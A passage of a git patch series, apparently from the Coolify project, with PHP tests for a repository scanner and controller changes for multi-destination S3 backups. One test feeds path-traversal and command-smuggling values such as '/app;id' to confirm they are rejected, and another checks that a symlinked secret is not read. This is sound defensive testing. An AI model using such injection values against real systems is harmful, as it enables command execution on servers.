dockerComposeFiles: ['examples/demo/docker-compose.yml'], + ); + + expect($nestedOnly->getSuggestedBuildPack())->toBeNull(); +}); + +test('hasDockerfile returns true when dockerfiles present', function () { + $result = new RepositoryDetectionResult( + dockerfiles: ['Dockerfile', 'apps/api/Dockerfile'], + ); + + expect($result->hasDockerfile())->toBeTrue(); +}); + +test('hasDockerfile returns false when no dockerfiles', function () { + $result = RepositoryDetectionResult::none(); + + expect($result->hasDockerfile())->toBeFalse(); +}); + +test('hasDockerCompose returns true when compose files present', function () { + $result = new RepositoryDetectionResult( + dockerComposeFiles: ['docker-compose.yml'], + ); + + expect($result->hasDockerCompose())->toBeTrue(); +}); + +test('hasDockerCompose returns false when no compose files', function () { + $result = RepositoryDetectionResult::none(); + + expect($result->hasDockerCompose())->toBeFalse(); +}); + +test('dockerfilePorts stores port mapping correctly', function () { + $result = new RepositoryDetectionResult( + dockerfiles: ['Dockerfile', 'apps/api/Dockerfile'], + dockerfilePorts: ['Dockerfile' => 3000, 'apps/api/Dockerfile' => 8080], + ); + + expect($result->dockerfilePorts)->toBe(['Dockerfile' => 3000, 'apps/api/Dockerfile' => 8080]) + ->and($result->dockerfilePorts['Dockerfile'])->toBe(3000) + ->and($result->dockerfilePorts['apps/api/Dockerfile'])->toBe(8080); +}); + +test('hasEnvFiles returns true when env files present', function () { + $result = new RepositoryDetectionResult( + envFiles: ['.env.example' => 'APP_KEY=secret'], + ); + + expect($result->hasEnvFiles())->toBeTrue(); +}); + +test('hasEnvFiles returns false when no env files', function () { + $result = RepositoryDetectionResult::none(); + + expect($result->hasEnvFiles())->toBeFalse(); +}); + +test('envFiles stores multiple files with content', function () { + $result = new RepositoryDetectionResult( + envFiles: [ + '.env.example' => 'APP_KEY=secret', + '.env.sample' => 'DB_HOST=localhost', + '.env.dist' => null, + ], + ); + + expect($result->envFiles)->toHaveCount(3) + ->and($result->envFiles['.env.example'])->toBe('APP_KEY=secret') + ->and($result->envFiles['.env.sample'])->toBe('DB_HOST=localhost') + ->and($result->envFiles['.env.dist'])->toBeNull(); +}); diff --git a/tests/Unit/RepositoryDetectorTest.php b/tests/Unit/RepositoryDetectorTest.php new file mode 100644 index 0000000000..0281ed5391 --- /dev/null +++ b/tests/Unit/RepositoryDetectorTest.php @@ -0,0 +1,231 @@ +forceFill(['git_repository' => $repository, 'git_branch' => 'main', 'git_commit_sha' => 'HEAD']); + $application->setRelation('settings', (new ApplicationSetting)->forceFill(['is_git_shallow_clone_enabled' => true, 'is_git_submodules_enabled' => false])); + $application->setRelation('source', null); + $application->setRelation('private_key', null); + + return new RepositoryDetector($application, $baseDirectory, new Server); +} + +/** + * Runs the scan commands on this machine against a local Git repository, optionally after the + * non-root sudo parser (with `sudo` removed, so the test does not need root). + */ +function runRepositoryScan(RepositoryDetector $detector, string $uuid, bool $throughSudoParser = false): Process +{ + $commands = (new ReflectionMethod($detector, 'scanCommands'))->invoke($detector, $uuid); + if ($throughSudoParser) { + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('getAttribute')->with('user')->andReturn('ubuntu'); + $commands = collect(parseCommandsByLineForSudo($commands, $server)) + ->map(fn (string $line) => preg_replace('/(^|\s)sudo /', '$1', $line)) + ->map(fn (string $line) => preg_replace('/ && chown .*$/', '', $line)); + } + $process = Process::fromShellCommandline("set -e\n".$commands->implode("\n")); + $process->run(); + + return $process; +} + +beforeEach(function () { + $this->detector = repositoryDetector(); + $this->parseOutputMethod = new ReflectionMethod($this->detector, 'parseOutput'); +}); + +test('parseOutput handles complete detection output', function () { + $output = json_encode([ + 'dockerfiles' => ['Dockerfile', 'apps/api/Dockerfile'], + 'dockerComposeFiles' => ['docker-compose.yml'], + 'envFiles' => ['.env.example' => "APP_NAME=MyApp\nAPP_ENV=production\nDB_HOST=localhost\nDB_PORT=5432"], + 'dockerfilePorts' => ['Dockerfile' => 3000, 'apps/api/Dockerfile' => 8080], + ]); + + $result = $this->parseOutputMethod->invoke($this->detector, $output); + + expect($result->dockerfiles)->toBe(['Dockerfile', 'apps/api/Dockerfile']) + ->and($result->dockerComposeFiles)->toBe(['docker-compose.yml']) + ->and($result->envFiles)->toHaveKey('.env.example') + ->and($result->envFiles['.env.example'])->toContain('APP_NAME=MyApp') + ->and($result->dockerfilePorts)->toBe(['Dockerfile' => 3000, 'apps/api/Dockerfile' => 8080]) + ->and($result->getSuggestedBuildPack())->toBe(BuildPackTypes::DOCKERCOMPOSE); +}); + +test('parseOutput handles empty repository', function () { + $output = json_encode([ + 'dockerfiles' => [], + 'dockerComposeFiles' => [], + 'envFiles' => (object) [], + 'dockerfilePorts' => (object) [], + ]); + + $result = $this->parseOutputMethod->invoke($this->detector, $output); + + expect($result->dockerfiles)->toBe([]) + ->and($result->dockerComposeFiles)->toBe([]) + ->and($result->envFiles)->toBe([]) + ->and($result->dockerfilePorts)->toBe([]) + ->and($result->getSuggestedBuildPack())->toBeNull(); +}); + +test('parseOutput handles dockerfile without EXPOSE', function () { + $output = json_encode([ + 'dockerfiles' => ['Dockerfile'], + 'dockerComposeFiles' => [], + 'envFiles' => (object) [], + 'dockerfilePorts' => ['Dockerfile' => null], + ]); + + $result = $this->parseOutputMethod->invoke($this->detector, $output); + + expect($result->dockerfiles)->toBe(['Dockerfile']) + ->and($result->dockerfilePorts)->toBe(['Dockerfile' => null]) + ->and($result->getSuggestedBuildPack())->toBe(BuildPackTypes::DOCKERFILE); +}); + +test('parseOutput handles only env files without dockerfiles', function () { + $output = json_encode([ + 'dockerfiles' => [], + 'dockerComposeFiles' => [], + 'envFiles' => ['.env.example' => "SECRET_KEY=changeme\nDATABASE_URL=postgres://localhost/db"], + 'dockerfilePorts' => (object) [], + ]); + + $result = $this->parseOutputMethod->invoke($this->detector, $output); + + expect($result->dockerfiles)->toBe([]) + ->and($result->envFiles)->toHaveKey('.env.example') + ->and($result->envFiles['.env.example'])->toContain('SECRET_KEY=changeme') + ->and($result->envFiles['.env.example'])->toContain('DATABASE_URL=postgres://localhost/db') + ->and($result->getSuggestedBuildPack())->toBeNull(); +}); + +test('parseOutput handles multiple compose files', function () { + $output = json_encode([ + 'dockerfiles' => [], + 'dockerComposeFiles' => ['docker-compose.yml', 'compose.yaml'], + 'envFiles' => (object) [], + 'dockerfilePorts' => (object) [], + ]); + + $result = $this->parseOutputMethod->invoke($this->detector, $output); + + expect($result->dockerComposeFiles)->toBe(['docker-compose.yml', 'compose.yaml']) + ->and($result->getSuggestedBuildPack())->toBe(BuildPackTypes::DOCKERCOMPOSE); +}); + +test('parseOutput puts the file nearest to the base directory first', function () { + $output = json_encode([ + 'dockerfiles' => ['apps/api/Dockerfile', 'Dockerfile.dev', 'apps/web/Dockerfile', 'Dockerfile'], + 'dockerComposeFiles' => ['examples/demo/compose.yaml', 'deploy/docker-compose.yml', 'compose.yaml'], + 'envFiles' => (object) [], + 'dockerfilePorts' => (object) [], + ]); + + $result = $this->parseOutputMethod->invoke($this->detector, $output); + + expect($result->dockerfiles)->toBe(['Dockerfile', 'Dockerfile.dev', 'apps/api/Dockerfile', 'apps/web/Dockerfile']) + ->and($result->dockerComposeFiles)->toBe(['compose.yaml', 'deploy/docker-compose.yml', 'examples/demo/compose.yaml']); +}); + +test('parseOutput handles multiple env files', function () { + $output = json_encode([ + 'dockerfiles' => [], + 'dockerComposeFiles' => [], + 'envFiles' => [ + '.env.example' => "APP_KEY=base64:abc\nAPP_ENV=local", + '.env.sample' => "DB_HOST=127.0.0.1\nDB_PORT=5432", + '.env.dist' => 'REDIS_HOST=localhost', + ], + 'dockerfilePorts' => (object) [], + ]); + + $result = $this->parseOutputMethod->invoke($this->detector, $output); + + expect($result->envFiles)->toHaveCount(3) + ->and($result->envFiles['.env.example'])->toContain('APP_KEY=base64:abc') + ->and($result->envFiles['.env.sample'])->toContain('DB_HOST=127.0.0.1') + ->and($result->envFiles['.env.dist'])->toContain('REDIS_HOST=localhost') + ->and($result->hasEnvFiles())->toBeTrue(); +}); + +test('parseOutput handles string port values from JSON', function () { + $output = json_encode([ + 'dockerfiles' => ['Dockerfile'], + 'dockerComposeFiles' => [], + 'envFiles' => (object) [], + 'dockerfilePorts' => ['Dockerfile' => '3000'], + ]); + + $result = $this->parseOutputMethod->invoke($this->detector, $output); + + expect($result->dockerfilePorts)->toBe(['Dockerfile' => 3000]) + ->and($result->dockerfilePorts['Dockerfile'])->toBeInt(); +}); + +test('parseOutput returns none for invalid JSON', function () { + $result = $this->parseOutputMethod->invoke($this->detector, 'not valid json'); + + expect($result->dockerfiles)->toBe([]) + ->and($result->dockerComposeFiles)->toBe([]) + ->and($result->envFiles)->toBe([]) + ->and($result->dockerfilePorts)->toBe([]); +}); + +test('scanner rejects traversal before remote execution', function (string $baseDirectory) { + $detector = repositoryDetector(baseDirectory: $baseDirectory); + expect(fn () => (new ReflectionMethod($detector, 'scanCommands'))->invoke($detector, 'scan-test'))->toThrow(RuntimeException::class); +})->with(['/../outside', '/app/../..', '/./app', '/app;id']); + +test('scanner reads only regular Git blobs and honors build directory', function (bool $throughSudoParser) { + $repo = sys_get_temp_dir().'/scan-fixture-'.bin2hex(random_bytes(8)); + $uuid = 'scan-test-'.bin2hex(random_bytes(8)); + mkdir($repo); + mkdir($repo.'/app'); + mkdir($repo.'/app/services'); + file_put_contents($repo.'/Dockerfile', "FROM scratch\nEXPOSE 9000\n"); + file_put_contents($repo.'/app/Dockerfile', "FROM scratch\r\n expose 8080/tcp\r\n"); + file_put_contents($repo.'/app/services/Dockerfile.worker', "FROM scratch\nEXPOSE \${PORT}\n"); + file_put_contents($repo.'/app/compose.yaml', 'services: {}'); + file_put_contents($repo.'/app/.env.sample', "SAFE=value\nQUOTE='it''s'"); + file_put_contents($repo.'/app/services/.env.example', 'NESTED=ignored'); + file_put_contents($repo.'/app/my dockerfile notes.txt', 'not a Dockerfile'); + file_put_contents($repo.'/secret', 'HOST_SECRET=do-not-read'); + symlink($repo.'/secret', $repo.'/app/.env.example'); + $git = 'git -C '.escapeshellarg($repo); + Process::fromShellCommandline("{$git} init -q -b main && {$git} add . && {$git} -c user.name=Test -c user.email=test@example.com commit -qm fixture")->mustRun(); + try { + $detector = repositoryDetector($repo, '/app'); + $process = runRepositoryScan($detector, $uuid, $throughSudoParser); + expect($process->isSuccessful())->toBeTrue($process->getErrorOutput()); + $result = (new ReflectionMethod($detector, 'parseOutput'))->invoke($detector, $process->getOutput()); + expect($result->dockerfiles)->toBe(['Dockerfile', 'services/Dockerfile.worker']) + ->and($result->dockerComposeFiles)->toBe(['compose.yaml']) + ->and($result->envFiles)->toBe(['.env.sample' => "SAFE=value\nQUOTE='it''s'"]) + ->and($result->dockerfilePorts)->toBe(['Dockerfile' => 8080, 'services/Dockerfile.worker' => null]); + + $failure = runRepositoryScan(repositoryDetector($repo.'-missing'), $uuid.'-missing', $throughSudoParser); + expect($failure->isSuccessful())->toBeFalse(); + } finally { + Process::fromShellCommandline('rm -rf -- '.escapeshellarg($repo).' /tmp/'.$uuid.' /tmp/'.$uuid.'-missing')->mustRun(); + } +})->with(['root server' => false, 'non-root server' => true]); + +test('invalid port values are not suggested', function (mixed $port) { + $result = $this->parseOutputMethod->invoke($this->detector, json_encode(['dockerfilePorts' => ['Dockerfile' => $port]])); + expect($result->dockerfilePorts['Dockerfile'])->toBeNull(); +})->with([0, -1, 65536, '3.5', '3e3', true]); + +test('malformed scan collections fall back safely', function () { + $result = $this->parseOutputMethod->invoke($this->detector, '{"dockerfiles":"Dockerfile"}'); + expect($result->dockerfiles)->toBe([]); +}); From d4d8bba514671e30e33d5b795e3ecc31ae6de4c8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 8 Oct 2026 15:10:34 +0200 Subject: [PATCH 24/24] docs(backups): add multi-destination S3 planning notes (#11789) Co-authored-by: Claude Opus 5.5 --- .ai/lessons.md | 1 + .../StartDevelopmentInstanceDatabase.php | 33 ++ .../Shared/DeleteScheduledVolumeBackup.php | 22 +- .../SeedDevelopmentQemuServerCommand.php | 11 + .../Controllers/Api/DatabasesController.php | 189 +++++--- .../Controllers/Api/ServicesController.php | 6 +- .../Api/VolumeBackupsController.php | 52 ++- app/Jobs/DatabaseBackupJob.php | 67 ++- app/Jobs/VolumeBackupJob.php | 118 +++-- app/Jobs/VolumeBackupRecoveryJob.php | 37 +- .../Project/Application/Backup/Index.php | 2 +- app/Livewire/Project/CloneMe.php | 2 + app/Livewire/Project/Database/BackupEdit.php | 82 +++- .../Project/Database/BackupExecutions.php | 8 +- .../Project/Database/ScheduledBackups.php | 2 +- .../Project/Service/BackupExecutions.php | 17 +- .../Project/Service/VolumeBackup/Index.php | 4 +- .../Project/Shared/ResourceOperations.php | 1 + .../Project/Shared/Storages/VolumeBackups.php | 89 ++-- app/Livewire/Storage/Resources.php | 102 ++-- app/Livewire/Storage/Show.php | 6 +- app/Mcp/Tools/ListDatabaseBackups.php | 2 + app/Models/DatabaseBackupS3Replica.php | 38 ++ app/Models/S3Storage.php | 57 ++- app/Models/ScheduledDatabaseBackup.php | 11 +- .../ScheduledDatabaseBackupExecution.php | 9 + app/Models/ScheduledVolumeBackup.php | 9 + app/Models/ScheduledVolumeBackupExecution.php | 9 + app/Models/VolumeBackupS3Replica.php | 38 ++ .../ServerTransfer/ServerTransferExporter.php | 25 +- .../ServerTransfer/ServerTransferImporter.php | 36 +- app/Traits/HasS3Destinations.php | 68 +++ app/Traits/HasS3Replicas.php | 75 +++ bootstrap/helpers/databases.php | 248 +++++----- ...00_create_backup_s3_destination_tables.php | 126 +++++ openapi.json | 48 +- openapi.yaml | 32 +- .../views/components/status-badge.blade.php | 22 +- .../application/backup/index.blade.php | 7 +- .../project/database/backup-edit/s3.blade.php | 11 +- .../database/backup-executions.blade.php | 31 +- .../database/scheduled-backups.blade.php | 9 +- .../service/volume-backup/index.blade.php | 16 +- .../volume-backups/executions.blade.php | 27 +- .../storages/volume-backups/s3.blade.php | 12 +- .../livewire/storage/resources.blade.php | 14 +- .../Api/BackupS3DestinationsApiTest.php | 292 ++++++++++++ tests/Feature/BackupEditValidationTest.php | 6 +- .../BackupRetentionAndStaleDetectionTest.php | 2 + .../Feature/BackupS3DestinationsFormTest.php | 322 +++++++++++++ ...tabaseBackupMultipleS3DestinationsTest.php | 434 ++++++++++++++++++ tests/Feature/DevelopmentQemuVmTest.php | 25 + ...stanceBackupMultipleS3DestinationsTest.php | 137 ++++++ tests/Feature/Jobs/DatabaseBackupJobTest.php | 26 +- tests/Feature/Mcp/McpReadToolsTest.php | 31 ++ ...bleLivewireComponentsAuthorizationTest.php | 2 +- .../ResourceTeamAfterTeamSwitchTest.php | 2 +- tests/Feature/ScheduleAuditTest.php | 4 +- ...VolumeBackupMultipleS3DestinationsTest.php | 386 ++++++++++++++++ .../VolumeBackupRecoveryBoundsTest.php | 11 +- tests/Feature/VolumeBackupTest.php | 59 ++- .../ServerTransferS3DestinationsTest.php | 144 ++++++ 62 files changed, 3141 insertions(+), 573 deletions(-) create mode 100644 app/Actions/Development/StartDevelopmentInstanceDatabase.php create mode 100644 app/Models/DatabaseBackupS3Replica.php create mode 100644 app/Models/VolumeBackupS3Replica.php create mode 100644 app/Traits/HasS3Destinations.php create mode 100644 app/Traits/HasS3Replicas.php create mode 100644 database/migrations/2026_10_07_150000_create_backup_s3_destination_tables.php create mode 100644 tests/Feature/Api/BackupS3DestinationsApiTest.php create mode 100644 tests/Feature/BackupS3DestinationsFormTest.php create mode 100644 tests/Feature/DatabaseBackupMultipleS3DestinationsTest.php create mode 100644 tests/Feature/InstanceBackupMultipleS3DestinationsTest.php create mode 100644 tests/Feature/VolumeBackupMultipleS3DestinationsTest.php create mode 100644 tests/Unit/ServerTransfer/ServerTransferS3DestinationsTest.php diff --git a/.ai/lessons.md b/.ai/lessons.md index 5cde3ef34e..7b94e29b3b 100644 --- a/.ai/lessons.md +++ b/.ai/lessons.md @@ -12,6 +12,7 @@ - SSH retries replay the full command batch. Only exit code 255 is an SSH transport failure; other exit codes come from the remote command, so do not retry them. Keep batches safe to run twice (for example `docker rm -f || true` before `docker run --name `). - Redirect browser test output to a file (`> /tmp/x.log 2>&1`); piping it (`| tail`) hangs because the Playwright server keeps the pipe open. - Browser `click('Text')` can match a hidden element first (for example inactive modal steps) and wait forever; use `button:visible:has-text("Text")`. +- A new worktree has no `vendor/` or `public/build/`. Run `composer install --ignore-platform-req=ext-zip` and copy `public/build` from the main checkout before page-rendering tests; otherwise they fail with a Vite manifest error. - Never run `php artisan test` inside a dev container (`./scripts/dev exec` or `docker exec coolify-dev-*`). The container sets `DB_CONNECTION=pgsql` as a real environment variable, which wins over `phpunit.xml`, so `RefreshDatabase` runs `migrate:fresh` on the dev database and wipes it. Run tests on the host only. - Call `visit()` directly in each `tests/v4/Browser` test body; Pest does not mark a test that only uses helper-wrapped `visit()` as a browser test, so it fails with `sendText() on null`. diff --git a/app/Actions/Development/StartDevelopmentInstanceDatabase.php b/app/Actions/Development/StartDevelopmentInstanceDatabase.php new file mode 100644 index 0000000000..41b8428bd4 --- /dev/null +++ b/app/Actions/Development/StartDevelopmentInstanceDatabase.php @@ -0,0 +1,33 @@ + config('database.connections.pgsql.username'), + 'POSTGRES_PASSWORD' => config('database.connections.pgsql.password'), + 'POSTGRES_DB' => config('database.connections.pgsql.database'), + ])->map(fn ($value, string $key): string => '-e '.escapeshellarg("{$key}={$value}"))->implode(' '); + + instant_remote_process([ + 'if ! docker inspect coolify-db >/dev/null 2>&1; then', + "docker run -d --name coolify-db --restart unless-stopped {$environment} postgres:15-alpine", + 'fi', + 'docker start coolify-db', + ], $server, disableMultiplexing: true); + } +} diff --git a/app/Actions/Shared/DeleteScheduledVolumeBackup.php b/app/Actions/Shared/DeleteScheduledVolumeBackup.php index d56cce9384..afeb44fce6 100644 --- a/app/Actions/Shared/DeleteScheduledVolumeBackup.php +++ b/app/Actions/Shared/DeleteScheduledVolumeBackup.php @@ -4,6 +4,7 @@ namespace App\Actions\Shared; use App\Jobs\VolumeBackupJob; use App\Models\ScheduledVolumeBackup; +use App\Models\ScheduledVolumeBackupExecution; use App\Models\Server; use Illuminate\Support\Facades\Cache; use Lorisleiva\Actions\Concerns\AsAction; @@ -52,23 +53,10 @@ class DeleteScheduledVolumeBackup } if ($deleteS3Archives) { - $s3Executions = $backup->executions() - ->with('s3') - ->where('s3_uploaded', true) - ->where('s3_storage_deleted', false) - ->get(); - - foreach ($s3Executions->groupBy('s3_storage_id') as $executions) { - $s3 = $executions->first()->s3; - if (! $s3) { - throw new \RuntimeException('The S3 storage used by an existing backup is unavailable.'); - } - - $filenames = $executions->pluck('filename')->filter()->all(); - if ($filenames !== []) { - deleteBackupsS3($filenames, $s3); - } - } + $backup->executions() + ->whereHas('s3Replicas', fn ($query) => $query->where('s3_uploaded', true)->where('s3_storage_deleted', false)) + ->get() + ->each(fn (ScheduledVolumeBackupExecution $execution) => $execution->deleteS3Copies()); } $backup->delete(); diff --git a/app/Console/Commands/SeedDevelopmentQemuServerCommand.php b/app/Console/Commands/SeedDevelopmentQemuServerCommand.php index 082ad83ae2..26fc463ff7 100644 --- a/app/Console/Commands/SeedDevelopmentQemuServerCommand.php +++ b/app/Console/Commands/SeedDevelopmentQemuServerCommand.php @@ -3,7 +3,9 @@ namespace App\Console\Commands; use App\Actions\Development\SeedDevelopmentQemuServer; +use App\Actions\Development\StartDevelopmentInstanceDatabase; use Illuminate\Console\Command; +use Throwable; class SeedDevelopmentQemuServerCommand extends Command { @@ -22,6 +24,15 @@ class SeedDevelopmentQemuServerCommand extends Command $server = SeedDevelopmentQemuServer::run($this->argument('profile'), ! $this->option('keep-others'), (bool) $this->option('as-localhost'), $this->option('ip') ?: null, (int) $this->option('port')); $this->info("Seeded {$server->name} at {$server->ip}."); + if ($this->option('as-localhost')) { + try { + StartDevelopmentInstanceDatabase::run($server); + $this->info('Started the coolify-db container for instance backups.'); + } catch (Throwable $e) { + $this->warn("Could not start the coolify-db container for instance backups: {$e->getMessage()}"); + } + } + return self::SUCCESS; } } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index d71b64563b..b6fe02d8bc 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -32,6 +32,8 @@ use Illuminate\Database\Eloquent\Collection as EloquentCollection; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; +use Illuminate\Support\Arr; +use Illuminate\Support\Collection; use Illuminate\Support\Facades\Bus; use Illuminate\Support\Facades\DB; use OpenApi\Attributes as OA; @@ -152,6 +154,58 @@ class DatabasesController extends Controller } } + /** + * Resolves the S3 destinations of a backup request, primary first. `s3_storage_uuids` lists every destination; + * `s3_storage_uuid` alone selects a single destination, and sent with `s3_storage_uuids` it must be in the list and + * becomes the primary destination. + * + * @return Collection|JsonResponse|null Null when the request does not select destinations. + */ + private function requestedBackupS3Storages(Request $request, int|string $teamId): Collection|JsonResponse|null + { + $hasList = $request->has('s3_storage_uuids'); + if (! $hasList && ! $request->filled('s3_storage_uuid')) { + return null; + } + + $uuids = collect($hasList ? $request->input('s3_storage_uuids') : [$request->input('s3_storage_uuid')])->unique()->values(); + $primaryUuid = $request->input('s3_storage_uuid') ?? $uuids->first(); + $errorField = $hasList ? 's3_storage_uuids' : 's3_storage_uuid'; + + if (filled($primaryUuid) && ! $uuids->contains($primaryUuid)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid must be one of the s3_storage_uuids.']], + ], 422); + } + + $storages = S3Storage::ownedByCurrentTeamAPI($teamId)->whereIn('uuid', $uuids->all())->get(); + if ($storages->count() !== $uuids->count()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [$errorField => ['The selected S3 storage is invalid for this team.']], + ], 422); + } + + return $storages->sortBy(fn (S3Storage $storage): int => $storage->uuid === $primaryUuid ? 0 : 1)->values(); + } + + /** + * Adds the S3 destination UUIDs (primary first) to a serialized backup without exposing the storages themselves. + */ + private function withBackupS3StorageUuids(ScheduledDatabaseBackup $backup): ScheduledDatabaseBackup + { + $storages = $backup->s3Storages->sortBy(fn (S3Storage $storage): int => $storage->id === $backup->s3_storage_id ? 0 : 1); + if ($storages->isEmpty() && $backup->s3) { + $storages = collect([$backup->s3]); + } + + $backup->setAttribute('s3_storage_uuid', $backup->s3?->uuid); + $backup->setAttribute('s3_storage_uuids', $storages->pluck('uuid')->values()->all()); + + return $backup->unsetRelation('s3Storages')->unsetRelation('s3'); + } + private function removeSensitiveData($database, bool $loadNestedServerSecrets = false) { $database->makeHidden([ @@ -302,9 +356,10 @@ class DatabasesController extends Controller $databaseIds = $databases->pluck('id')->toArray(); - $backupConfigs = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->with('latest_log') + $backupConfigs = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->with(['latest_log', 's3', 's3Storages']) ->whereIn('database_id', $databaseIds) ->get() + ->map(fn (ScheduledDatabaseBackup $backup) => $this->withBackupS3StorageUuids($backup)) ->groupBy(fn (ScheduledDatabaseBackup $backup) => $backup->database_type.':'.$backup->database_id); $databases = $databases->map(function ($database) use ($backupConfigs) { @@ -340,7 +395,7 @@ class DatabasesController extends Controller responses: [ new OA\Response( response: 200, - description: 'Get all backups for a database', + description: 'Get all backups for a database. Each backup includes s3_storage_uuid (primary S3 destination) and s3_storage_uuids (every S3 destination, primary first).', content: new OA\JsonContent( type: 'string', example: 'Content is very complex. Will be implemented later.', @@ -376,7 +431,8 @@ class DatabasesController extends Controller $this->authorize('view', $database); - $backupConfig = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->with('executions')->where('database_id', $database->id)->get(); + $backupConfig = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId)->with(['executions', 's3', 's3Storages'])->where('database_id', $database->id)->get() + ->map(fn (ScheduledDatabaseBackup $backup) => $this->withBackupS3StorageUuids($backup)); return response()->json($backupConfig); } @@ -873,7 +929,8 @@ class DatabasesController extends Controller 'frequency' => ['type' => 'string', 'description' => 'Backup frequency (cron expression or: every_minute, hourly, daily, weekly, monthly, yearly)'], 'enabled' => ['type' => 'boolean', 'description' => 'Whether the backup is enabled', 'default' => true], 'save_s3' => ['type' => 'boolean', 'description' => 'Whether to save backups to S3', 'default' => false], - 's3_storage_uuid' => ['type' => 'string', 'description' => 'S3 storage UUID (required if save_s3 is true)'], + 's3_storage_uuid' => ['type' => 'string', 'description' => 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination. Either field is required if save_s3 is true.'], + 's3_storage_uuids' => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination.'], 'databases_to_backup' => ['type' => 'string', 'description' => 'Comma separated list of databases to backup'], 'dump_all' => ['type' => 'boolean', 'description' => 'Whether to dump all databases', 'default' => false], 'backup_now' => ['type' => 'boolean', 'description' => 'Whether to trigger backup immediately after creation'], @@ -921,7 +978,7 @@ class DatabasesController extends Controller )] public function create_backup(Request $request) { - $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 'timeout', 'missing_backup_notification_days']; + $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 's3_storage_uuids', 'timeout', 'missing_backup_notification_days']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -941,6 +998,8 @@ class DatabasesController extends Controller 'dump_all' => 'boolean', 'backup_now' => 'boolean|nullable', 's3_storage_uuid' => 'string|exists:s3_storages,uuid|nullable', + 's3_storage_uuids' => 'array', + 's3_storage_uuids.*' => 'string|distinct', 'databases_to_backup' => 'string|nullable', 'database_backup_retention_amount_locally' => 'integer|min:0', 'database_backup_retention_days_locally' => 'integer|min:0', @@ -986,24 +1045,17 @@ class DatabasesController extends Controller ], 422); } - // Validate S3 storage if save_s3 is true - if ($request->boolean('save_s3') && ! $request->filled('s3_storage_uuid')) { + $s3Storages = $this->requestedBackupS3Storages($request, $teamId); + if ($s3Storages instanceof JsonResponse) { + return $s3Storages; + } + if ($request->boolean('save_s3') && blank($s3Storages)) { return response()->json([ 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid field is required when save_s3 is true.']], + 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid or s3_storage_uuids field is required when save_s3 is true.']], ], 422); } - if ($request->filled('s3_storage_uuid')) { - $existsInTeam = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->s3_storage_uuid)->exists(); - if (! $existsInTeam) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], - ], 422); - } - } - // Check for extra fields $extraFields = array_diff(array_keys($request->all()), $backupConfigFields, ['backup_now']); if (! empty($extraFields)) { @@ -1018,20 +1070,9 @@ class DatabasesController extends Controller ], 422); } - $backupData = $request->only($backupConfigFields); - - // Convert s3_storage_uuid to s3_storage_id - if (isset($backupData['s3_storage_uuid'])) { - $s3Storage = S3Storage::ownedByCurrentTeamAPI($teamId)->where('uuid', $backupData['s3_storage_uuid'])->first(); - if ($s3Storage) { - $backupData['s3_storage_id'] = $s3Storage->id; - } elseif ($request->boolean('save_s3')) { - return response()->json([ - 'message' => 'Validation failed.', - 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], - ], 422); - } - unset($backupData['s3_storage_uuid']); + $backupData = Arr::except($request->only($backupConfigFields), ['s3_storage_uuid', 's3_storage_uuids']); + if ($s3Storages !== null) { + $backupData['s3_storage_id'] = $s3Storages->first()?->id; } // Set default databases_to_backup based on database type if not provided @@ -1070,6 +1111,9 @@ class DatabasesController extends Controller } $backupConfig = ScheduledDatabaseBackup::create($backupData); + if ($s3Storages !== null) { + $backupConfig->syncS3Storages($s3Storages->pluck('id')->all()); + } // Trigger immediate backup if requested if ($request->backup_now) { @@ -1129,7 +1173,8 @@ class DatabasesController extends Controller type: 'object', properties: [ 'save_s3' => ['type' => 'boolean', 'description' => 'Whether data is saved in s3 or not'], - 's3_storage_uuid' => ['type' => 'string', 'description' => 'S3 storage UUID'], + 's3_storage_uuid' => ['type' => 'string', 'description' => 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination; when it is already a destination, it becomes the primary destination and the other destinations stay.'], + 's3_storage_uuids' => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination.'], 'backup_now' => ['type' => 'boolean', 'description' => 'Whether to take a backup now or not'], 'enabled' => ['type' => 'boolean', 'description' => 'Whether the backup is enabled or not'], 'databases_to_backup' => ['type' => 'string', 'description' => 'Comma separated list of databases to backup'], @@ -1172,7 +1217,7 @@ class DatabasesController extends Controller )] public function update_backup(Request $request) { - $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 